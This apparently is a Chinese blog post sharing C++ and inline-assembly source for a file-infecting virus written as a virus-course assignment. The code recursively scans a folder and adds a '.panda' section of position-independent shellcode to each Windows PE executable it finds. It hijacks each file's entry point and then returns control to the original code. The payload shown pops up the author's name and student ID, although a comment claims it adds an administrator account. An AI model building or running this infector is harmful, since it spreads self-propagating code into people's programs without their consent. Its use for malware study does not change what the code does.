病毒课程老师要求的代码
用到了很多PE知识:
直接上代码吧
// ganran_pe.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <malloc.h>
#include <assert.h>
//本程序只适用于载入基址定位的。。。非随机基址
//感染指定目录的PE文件
char ItIs[MAX_PATH] = "C:\\1";
//添加了一个新节区
//然后shellcode是添加一个名为a,密码为a的administrator
//然后PEB定位kernel32只在我的win7 x64电脑上测试成功,可以稍许修改,以通用
//函数功能: 以ALIGN_BASE为对齐度对齐size
//参数说明:
// size:需要对齐的大小
// ALIGN_BASE:对齐度
//返回值: 返回对齐后的大小
DWORD Align(DWORD size, DWORD ALIGN_BASE)
{
assert(0 != ALIGN_BASE);
if (size % ALIGN_BASE)
{
size = (size/ALIGN_BASE + 1) * ALIGN_BASE;
}
return size;
}
//函数功能: 检测感染标识和设置感染标识
//参数说明:
// pDosHdr:执行DOS头
//返回值: 是否未被感染, 是->TRUE, 否->FALSE
BOOL SetFectFlag(PIMAGE_DOS_HEADER &pDosHdr)
{
if (*(DWORD*)pDosHdr->e_res2 == 0x4B4B43)
{
return FALSE;
}
else
{
*(DWORD*)pDosHdr->e_res2 = 0x4B4B43;
return TRUE;
}
}
//函数功能: 打开文件并判断文件类型
//参数说明:
// szPath:文件绝对路径
// lpMemory:保存文件内存映射地址
//返回值: 是否是PE文件, 是->TRUE, 否->FALSE
BOOL CreateFileAndCheck(char *szPath, LPVOID &lpMemory, HANDLE &hFile)
{
//打开文件
hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
//printf("CreateFileA %s Failed! ErrorCode = %d\n", szPath, GetLastError());
return FALSE;
}
HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
if (!hMap)
{
//printf("CreateFileMappingA %s Failed! ErrorCode = %d\n", szPath, GetLastError());
return FALSE;
}
lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);
if (!lpMemory)
{
//printf("MapViewOfFile %s Failed! ErrorCode = %d\n", szPath, GetLastError());
CloseHandle(hMap);
return FALSE;
}
CloseHandle(hMap);
return TRUE;
}
//函数功能: 感染指定文件
//参数说明:
// szPath:文件绝对路径
DWORD dwNum;
PBYTE pByte;
DWORD dwOldOp;
DWORD dwNum1;
DWORD nSecSize;
DWORD size;
DWORD i;
PIMAGE_SECTION_HEADER pSecHdr;
PIMAGE_SECTION_HEADER pNewHdr;
PIMAGE_SECTION_HEADER pLastHdr;
PIMAGE_NT_HEADERS32 pNtHdr;
void FectPE(char *szPath)
{
LPVOID lpMemory;
HANDLE hFile;
if (!CreateFileAndCheck(szPath, lpMemory, hFile))
{
return;
}
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpMemory;
//判断DOS标识
if (*(WORD*)pDosHdr != 23117)
goto Err;
pNtHdr = (PIMAGE_NT_HEADERS32)( *(DWORD*)&pDosHdr + (DWORD)pDosHdr->e_lfanew);
//判断NT标识
if (*(WORD*)pNtHdr != 17744)
goto Err;
//设置感染标识
if (!SetFectFlag(pDosHdr))
goto Err;
//检查可用空间
if ((pNtHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHdr->OptionalHeader.SizeOfHeaders)
goto Err;
pSecHdr = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHdr + sizeof(IMAGE_NT_HEADERS32));
pNewHdr = (PIMAGE_SECTION_HEADER)(pSecHdr + pNtHdr->FileHeader.NumberOfSections);
pLastHdr = (PIMAGE_SECTION_HEADER)(pNewHdr - 1);
//检测是否有附加数据
i = 0;
size = pSecHdr->PointerToRawData;
for ( ; i<pNtHdr->FileHeader.NumberOfSections; i++)
{
size += Align(pSecHdr[i].SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
}
if (size != GetFileSize(hFile, 0))
{
return; //有附加数据
}
goto shellend;
_asm
{
shellstart:
CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function
; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
; find base addr of kernel32.dll
mov ebx,fs:[edx+0x30] //得到peb结构体的地址
mov ebx,[ebx + 0xc] //得到Ldr结构体的地址
mov ebx,[ebx + 0xc] //得到ldr.InLoadOrderModuleList.Flink 第一个模块,当前进程
mov ebx,[ebx] //得到第二个模块地址 ntdll.dll
mov ebx,[ebx] //得到第三个模块地址 kernel32.dll
mov ebx,[ebx+0x18] //得到第三个模块地址(kernel32模块的dllbase)
mov ebp,ebx
find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll
find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx // cut string
push 0xE9D1B5CA //构造中文字符串
push 0xBEB6A1B2
mov edx,esp
push ebx
push 0x20202031
push 0x32303232
push 0x31313130
push 0x322B6E61
push 0x7571676E
push 0x61686367
push 0x6E616978
mov eax,esp
push ebx
push edx
push eax
push ebx
call dword ptr ds:[edi-0x4]
mov eax,0x11111111
jmp eax
}
shellend:
PBYTE *pShell;
DWORD nShellLen;
_asm
{
lea eax,shellstart
mov pShell,eax
lea ebx,shellend
sub ebx,eax
mov nShellLen,ebx
}
//添加新节
memcpy(pNewHdr->Name, ".panda", 6);
//新加节virtualsize
nSecSize = nShellLen;
pNewHdr->Misc.VirtualSize = nSecSize;//这个值可以不是对齐的值 ps:貌似除了这个其他都要对齐哎╮(╯▽╰)╭
pNewHdr->VirtualAddress = pLastHdr->VirtualAddress + Align(pLastHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);
pNewHdr->SizeOfRawData = Align(nSecSize, pNtHdr->OptionalHeader.FileAlignment);
pNewHdr->PointerToRawData = pLastHdr->PointerToRawData + Align(pLastHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
pNewHdr->Characteristics = IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;
pNtHdr->FileHeader.NumberOfSections++;
pNtHdr->OptionalHeader.SizeOfImage += Align(pNewHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);//这个值必须是对齐的值
// pNtHdr->OptionalHeader.SizeOfCode += Align(pNewHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);//话说这个好像可要可不要
//FlushViewOfFile(pDosHdr, 0);
//写入shellcode
dwOldOp = pNtHdr->OptionalHeader.AddressOfEntryPoint;
printf("原始入口点: %XH\n", dwOldOp);
dwOldOp += pNtHdr->OptionalHeader.ImageBase;
printf("原始程序加载点: %XH\n", dwOldOp);
dwNum1 = 0;
SetFilePointer(hFile, 0, 0, FILE_END);
WriteFile(hFile, pShell, nShellLen, &dwNum1, NULL);
SetFilePointer(hFile, -6, 0, FILE_CURRENT);
WriteFile(hFile, &dwOldOp, 4, &dwNum1, NULL);
//写入剩余字节
pByte = (PBYTE)malloc(pNewHdr->SizeOfRawData-nShellLen);
ZeroMemory(pByte, pNewHdr->SizeOfRawData-nShellLen);
dwNum = 0;
SetFilePointer(hFile, 0, 0, FILE_END);
WriteFile(hFile, pByte, pNewHdr->SizeOfRawData-nShellLen, &dwNum, NULL);
//FlushFileBuffers(hFile);
free(pByte);
pNtHdr->OptionalHeader.AddressOfEntryPoint = pNewHdr->VirtualAddress;
//printf("新入口点: %X\n", pNewHdr->VirtualAddress);
Err:
CloseHandle(hFile);
UnmapViewOfFile(lpMemory);
}
//函数功能: 扫描查找文件
//参数说明:
// szPath:需要扫描的目录
void FindFile(char *szPath)
{
WIN32_FIND_DATAA FindFileData;
char szFileToFind[MAX_PATH] = {0};
lstrcpyA(szFileToFind, szPath);
lstrcatA(szFileToFind, "\\*.*");
//查找目录下所有文件
HANDLE hFile = FindFirstFileA(szFileToFind, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("FindFirstFileA Failed!\n");
return;
}
do
{
char szNewPath[MAX_PATH] = {0};
lstrcpyA(szNewPath, szPath);
//判断是否是目录
if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
//判断是否是.或..
if (!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")){}
else
{
//递归查找下级目录
lstrcatA(szNewPath, "\\");
lstrcatA(szNewPath, FindFileData.cFileName);
FindFile(szNewPath);
}
}
else
{
//处理查找到的文件
char szExe[MAX_PATH] = {0};
lstrcpyA(szExe, szNewPath);
lstrcatA(szExe, "\\");
lstrcatA(szExe, FindFileData.cFileName);
FectPE(szExe);
}
} while (FindNextFileA(hFile, &FindFileData));
FindClose(hFile);
}
//主函数
int main()
{
FindFile(ItIs);
return 0;
}最后弹框 姓名+学号
浙公网安备 33010602011771号